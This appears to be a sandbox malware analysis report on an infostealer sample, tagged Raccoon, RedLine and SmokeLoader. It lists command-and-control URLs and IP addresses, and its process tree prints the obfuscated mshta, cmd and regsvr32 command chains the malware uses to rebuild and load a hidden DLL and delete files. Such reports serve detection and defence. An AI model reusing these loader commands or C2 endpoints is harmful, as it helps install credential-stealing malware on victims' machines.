raccoon | 25ddb8f090baba92c6dc7d59a2af59af17e5e945f4a5891c186f2fae58301aa6

Analysis

max time kernel
178s
max time network
183s
platform
windows10_x64
resource
win10-en-20211104
submitted
13/11/2021, 19:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c755df74371deed1af6438335fb9477d.exe
Size 344KB
Sample211113-x2nnbacddl
SHA256 25ddb8f090baba92c6dc7d59a2af59af17e5e945f4a5891c186f2fae58301aa6
MD5 c755df74371deed1af6438335fb9477d
SHA1 ef8adac6439e63f9c4679afe7ffabda7a2adca57
SHA512 5cc4dacf5a2c9097a9de0c5e805c87a90f0ac161d7e30a6aaf01ca89122a7e5d7407ad7302fd858130f638d659bf338ad4d91559a0d826fd17361fffa1efb198
MD5 SHA1 SHA512

Score

10^/10

raccoon redline smokeloader 675718a5f2ce6d3cacf6cb04a512f5637eae995f superstar backdoor collection discovery infostealer spyware stealer trojan

Malware Config

Extracted

Family

smokeloader

Version

2020

http://host-file-host6.com/
http://host-host-file8.com/
http://srtuiyhuali.at/
http://fufuiloirtu.com/
http://amogohuigotuli.at/
http://novohudosovu.com/
http://brutuilionust.com/
http://bubushkalioua.com/
http://dumuilistrati.at/
http://verboliatsiaeeees.com/

rc4.i32

Extracted

Family

redline

185.159.80.90:38637

Extracted

Family

redline

Botnet

SuperStar

185.215.113.29:36224

Extracted

Family

raccoon

Version

1.8.3-hotfix

Botnet

675718a5f2ce6d3cacf6cb04a512f5637eae995f

Attributes

url4cnc
http://91.219.236.27/agrybirdsgamerept

http://5.181.156.92/agrybirdsgamerept

http://91.219.236.207/agrybirdsgamerept

http://185.225.19.18/agrybirdsgamerept

http://91.219.237.227/agrybirdsgamerept

http://185.163.47.176/agrybirdsgamerept

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 5 IoCs

resource	yara_rule
behavioral2/memory/2940-155-0x0000000002100000-0x000000000211C000-memory.dmp	family_redline
behavioral2/memory/2940-157-0x00000000023A0000-0x00000000023BB000-memory.dmp	family_redline
behavioral2/memory/2680-170-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral2/memory/2680-171-0x0000000000418EEA-mapping.dmp	family_redline
behavioral2/memory/2680-181-0x00000000051B0000-0x00000000057B6000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3916 created 2960	3916	WerFault.exe	78

Downloads MZ/PE file

Executes dropped EXE 10 IoCs

pid	Process
3444	750D.exe
3956	7DE7.exe
3536	7F50.exe
1628	822F.exe
612	750D.exe
2940	822F.exe
2960	9B36.exe
2680	7DE7.exe
3520	F8B9.exe
3876	SIOFYL_.eXE

Deletes itself 1 IoCs

pid	Process
3044	Process not Found

Loads dropped DLL 1 IoCs

pid	Process
2788	regsvr32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 844 set thread context of 1976	844	c755df74371deed1af6438335fb9477d.exe	69
PID 3444 set thread context of 612	3444	750D.exe	75
PID 1628 set thread context of 2940	1628	822F.exe	77
PID 3956 set thread context of 2680	3956	7DE7.exe	76

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3916	2960	WerFault.exe	78

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7F50.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7F50.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7F50.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c755df74371deed1af6438335fb9477d.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c755df74371deed1af6438335fb9477d.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c755df74371deed1af6438335fb9477d.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1044	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1976	c755df74371deed1af6438335fb9477d.exe
1976	c755df74371deed1af6438335fb9477d.exe
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3044	Process not Found

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
1976	c755df74371deed1af6438335fb9477d.exe
3536	7F50.exe
3044	Process not Found
3044	Process not Found
3044	Process not Found
3044	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeRestorePrivilege	3916	WerFault.exe
Token: SeBackupPrivilege	3916	WerFault.exe
Token: SeDebugPrivilege	3916	WerFault.exe
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeDebugPrivilege	2680	7DE7.exe
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeDebugPrivilege	1044	taskkill.exe
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found
Token: SeCreatePagefilePrivilege	3044	Process not Found
Token: SeShutdownPrivilege	3044	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 844 wrote to memory of 1976	844	c755df74371deed1af6438335fb9477d.exe	69
PID 844 wrote to memory of 1976	844	c755df74371deed1af6438335fb9477d.exe	69
PID 844 wrote to memory of 1976	844	c755df74371deed1af6438335fb9477d.exe	69
PID 844 wrote to memory of 1976	844	c755df74371deed1af6438335fb9477d.exe	69
PID 844 wrote to memory of 1976	844	c755df74371deed1af6438335fb9477d.exe	69
PID 844 wrote to memory of 1976	844	c755df74371deed1af6438335fb9477d.exe	69
PID 3044 wrote to memory of 3444	3044	Process not Found	70
PID 3044 wrote to memory of 3444	3044	Process not Found	70
PID 3044 wrote to memory of 3444	3044	Process not Found	70
PID 3044 wrote to memory of 3956	3044	Process not Found	71
PID 3044 wrote to memory of 3956	3044	Process not Found	71
PID 3044 wrote to memory of 3956	3044	Process not Found	71
PID 3044 wrote to memory of 3536	3044	Process not Found	72
PID 3044 wrote to memory of 3536	3044	Process not Found	72
PID 3044 wrote to memory of 3536	3044	Process not Found	72
PID 3044 wrote to memory of 1628	3044	Process not Found	74
PID 3044 wrote to memory of 1628	3044	Process not Found	74
PID 3044 wrote to memory of 1628	3044	Process not Found	74
PID 3444 wrote to memory of 612	3444	750D.exe	75
PID 3444 wrote to memory of 612	3444	750D.exe	75
PID 3444 wrote to memory of 612	3444	750D.exe	75
PID 3444 wrote to memory of 612	3444	750D.exe	75
PID 3444 wrote to memory of 612	3444	750D.exe	75
PID 3444 wrote to memory of 612	3444	750D.exe	75
PID 3956 wrote to memory of 2680	3956	7DE7.exe	76
PID 3956 wrote to memory of 2680	3956	7DE7.exe	76
PID 3956 wrote to memory of 2680	3956	7DE7.exe	76
PID 1628 wrote to memory of 2940	1628	822F.exe	77
PID 1628 wrote to memory of 2940	1628	822F.exe	77
PID 1628 wrote to memory of 2940	1628	822F.exe	77
PID 1628 wrote to memory of 2940	1628	822F.exe	77
PID 1628 wrote to memory of 2940	1628	822F.exe	77
PID 1628 wrote to memory of 2940	1628	822F.exe	77
PID 1628 wrote to memory of 2940	1628	822F.exe	77
PID 1628 wrote to memory of 2940	1628	822F.exe	77
PID 1628 wrote to memory of 2940	1628	822F.exe	77
PID 3044 wrote to memory of 2960	3044	Process not Found	78
PID 3044 wrote to memory of 2960	3044	Process not Found	78
PID 3044 wrote to memory of 2960	3044	Process not Found	78
PID 3956 wrote to memory of 2680	3956	7DE7.exe	76
PID 3956 wrote to memory of 2680	3956	7DE7.exe	76
PID 3956 wrote to memory of 2680	3956	7DE7.exe	76
PID 3956 wrote to memory of 2680	3956	7DE7.exe	76
PID 3956 wrote to memory of 2680	3956	7DE7.exe	76
PID 3044 wrote to memory of 3520	3044	Process not Found	84
PID 3044 wrote to memory of 3520	3044	Process not Found	84
PID 3044 wrote to memory of 3520	3044	Process not Found	84
PID 3044 wrote to memory of 3604	3044	Process not Found	85
PID 3044 wrote to memory of 3604	3044	Process not Found	85
PID 3044 wrote to memory of 3604	3044	Process not Found	85
PID 3044 wrote to memory of 3604	3044	Process not Found	85
PID 3520 wrote to memory of 2372	3520	F8B9.exe	86
PID 3520 wrote to memory of 2372	3520	F8B9.exe	86
PID 3520 wrote to memory of 2372	3520	F8B9.exe	86
PID 2372 wrote to memory of 1900	2372	mshta.exe	87
PID 2372 wrote to memory of 1900	2372	mshta.exe	87
PID 2372 wrote to memory of 1900	2372	mshta.exe	87
PID 1900 wrote to memory of 3876	1900	cmd.exe	89
PID 1900 wrote to memory of 3876	1900	cmd.exe	89
PID 1900 wrote to memory of 3876	1900	cmd.exe	89
PID 1900 wrote to memory of 1044	1900	cmd.exe	90
PID 1900 wrote to memory of 1044	1900	cmd.exe	90
PID 1900 wrote to memory of 1044	1900	cmd.exe	90
PID 3044 wrote to memory of 860	3044	Process not Found	91

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\c755df74371deed1af6438335fb9477d.exe
"C:\Users\Admin\AppData\Local\Temp\c755df74371deed1af6438335fb9477d.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:844
- C:\Users\Admin\AppData\Local\Temp\c755df74371deed1af6438335fb9477d.exe
  "C:\Users\Admin\AppData\Local\Temp\c755df74371deed1af6438335fb9477d.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1976

C:\Users\Admin\AppData\Local\Temp\750D.exe
C:\Users\Admin\AppData\Local\Temp\750D.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Users\Admin\AppData\Local\Temp\750D.exe
  C:\Users\Admin\AppData\Local\Temp\750D.exe
  2⤵
  - Executes dropped EXE
  PID:612

C:\Users\Admin\AppData\Local\Temp\7DE7.exe
C:\Users\Admin\AppData\Local\Temp\7DE7.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3956
- C:\Users\Admin\AppData\Local\Temp\7DE7.exe
  C:\Users\Admin\AppData\Local\Temp\7DE7.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2680

C:\Users\Admin\AppData\Local\Temp\7F50.exe
C:\Users\Admin\AppData\Local\Temp\7F50.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3536

C:\Users\Admin\AppData\Local\Temp\822F.exe
C:\Users\Admin\AppData\Local\Temp\822F.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Users\Admin\AppData\Local\Temp\822F.exe
  C:\Users\Admin\AppData\Local\Temp\822F.exe
  2⤵
  - Executes dropped EXE
  PID:2940

C:\Users\Admin\AppData\Local\Temp\9B36.exe
C:\Users\Admin\AppData\Local\Temp\9B36.exe
1⤵
- Executes dropped EXE
PID:2960
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2960 -s 616
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:3916

C:\Users\Admin\AppData\Local\Temp\F8B9.exe
C:\Users\Admin\AppData\Local\Temp\F8B9.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\F8B9.exe"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF """"== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\F8B9.exe"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2372
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\F8B9.exe" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\F8B9.exe" ) do taskkill -f /iM "%~NXS"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE
      ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk
      4⤵
      Executes dropped EXE
      PID:3876
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk ""== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))
        5⤵
        
        PID:1332
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF "/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk "== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ) do taskkill -f /iM "%~NXS"
        6⤵
        
        PID:1588
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbscrIPT: cLOSE(cREateObJeCt( "wscRiPt.SHELl"). Run ("cMd /r Echo | set /P = ""MZ"" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q * " ,0 ,tRuE ) )
        5⤵
        
        PID:684
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r Echo | set /P = "MZ" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q *
        6⤵
        
        PID:1272
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Echo "
        7⤵
        
        PID:3612
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>V_DXQ.No"
        7⤵
        
        PID:884
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 ..\CxSXSHYX.ZBV -s
        7⤵
        Loads dropped DLL
        
        PID:2788
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill -f /iM "F8B9.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1044

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:3604

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:860

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/844-121-0x0000000002BA0000-0x0000000002BA9000-memory.dmp

Download

memory/844-118-0x0000000002DD9000-0x0000000002DEA000-memory.dmp

Download

memory/860-211-0x0000000000C10000-0x0000000000C17000-memory.dmp

Download

memory/860-212-0x0000000000C00000-0x0000000000C0C000-memory.dmp

Download

memory/1628-160-0x0000000004750000-0x0000000004780000-memory.dmp

Download

memory/1976-119-0x0000000000400000-0x0000000000409000-memory.dmp

Download

memory/2680-188-0x0000000006190000-0x0000000006191000-memory.dmp

Download

memory/2680-170-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2680-191-0x00000000073A0000-0x00000000073A1000-memory.dmp

Download

memory/2680-181-0x00000000051B0000-0x00000000057B6000-memory.dmp

Download

memory/2680-190-0x0000000006CA0000-0x0000000006CA1000-memory.dmp

Download

memory/2680-184-0x0000000005710000-0x0000000005711000-memory.dmp

Download

memory/2788-225-0x0000000004800000-0x00000000048B5000-memory.dmp

Download

memory/2788-226-0x0000000004980000-0x0000000004A34000-memory.dmp

Download

memory/2788-227-0x0000000004A40000-0x0000000004AED000-memory.dmp

Download

memory/2788-228-0x0000000004AF0000-0x0000000004B89000-memory.dmp

Download

memory/2940-163-0x0000000004B40000-0x0000000004B41000-memory.dmp

Download

memory/2940-149-0x0000000000400000-0x0000000000433000-memory.dmp

Download

memory/2940-164-0x0000000004B42000-0x0000000004B43000-memory.dmp

Download

memory/2940-161-0x0000000000400000-0x0000000000433000-memory.dmp

Download

memory/2940-168-0x0000000004B43000-0x0000000004B44000-memory.dmp

Download

memory/2940-162-0x0000000004A00000-0x0000000004A01000-memory.dmp

Download

memory/2940-155-0x0000000002100000-0x000000000211C000-memory.dmp

Download

memory/2940-157-0x00000000023A0000-0x00000000023BB000-memory.dmp

Download

memory/2940-169-0x00000000056A0000-0x00000000056A1000-memory.dmp

Download

memory/2940-165-0x0000000004B44000-0x0000000004B46000-memory.dmp

Download

memory/2940-159-0x0000000002580000-0x0000000002581000-memory.dmp

Download

memory/2940-158-0x0000000005050000-0x0000000005051000-memory.dmp

Download

memory/2940-167-0x0000000005660000-0x0000000005661000-memory.dmp

Download

memory/2960-189-0x0000000000400000-0x0000000002B85000-memory.dmp

Download

memory/2960-187-0x00000000047C0000-0x000000000484F000-memory.dmp

Download

memory/2960-183-0x0000000002C16000-0x0000000002C65000-memory.dmp

Download

memory/3044-166-0x0000000002B30000-0x0000000002B46000-memory.dmp

Download

memory/3044-122-0x00000000008F0000-0x0000000000906000-memory.dmp

Download

memory/3444-144-0x0000000002C96000-0x0000000002CA7000-memory.dmp

Download

memory/3520-194-0x0000000000660000-0x0000000000661000-memory.dmp

Download

memory/3520-195-0x0000000000660000-0x0000000000661000-memory.dmp

Download

memory/3536-136-0x0000000000460000-0x0000000000469000-memory.dmp

Download

memory/3536-135-0x0000000000450000-0x0000000000458000-memory.dmp

Download

memory/3536-139-0x0000000000400000-0x0000000000433000-memory.dmp

Download

memory/3604-201-0x0000000000C00000-0x0000000000C6B000-memory.dmp

Download

memory/3604-200-0x0000000000C70000-0x0000000000CE4000-memory.dmp

Download

memory/3876-204-0x0000000002CC0000-0x0000000002CC1000-memory.dmp

Download

memory/3876-205-0x0000000002CC0000-0x0000000002CC1000-memory.dmp

Download

memory/3956-137-0x0000000000520000-0x0000000000521000-memory.dmp

Download

memory/3956-140-0x0000000004D70000-0x0000000004D71000-memory.dmp

Download

memory/3956-141-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

Download

memory/3956-142-0x0000000004CF0000-0x0000000004D66000-memory.dmp

Download

memory/3956-143-0x0000000005380000-0x0000000005381000-memory.dmp

Download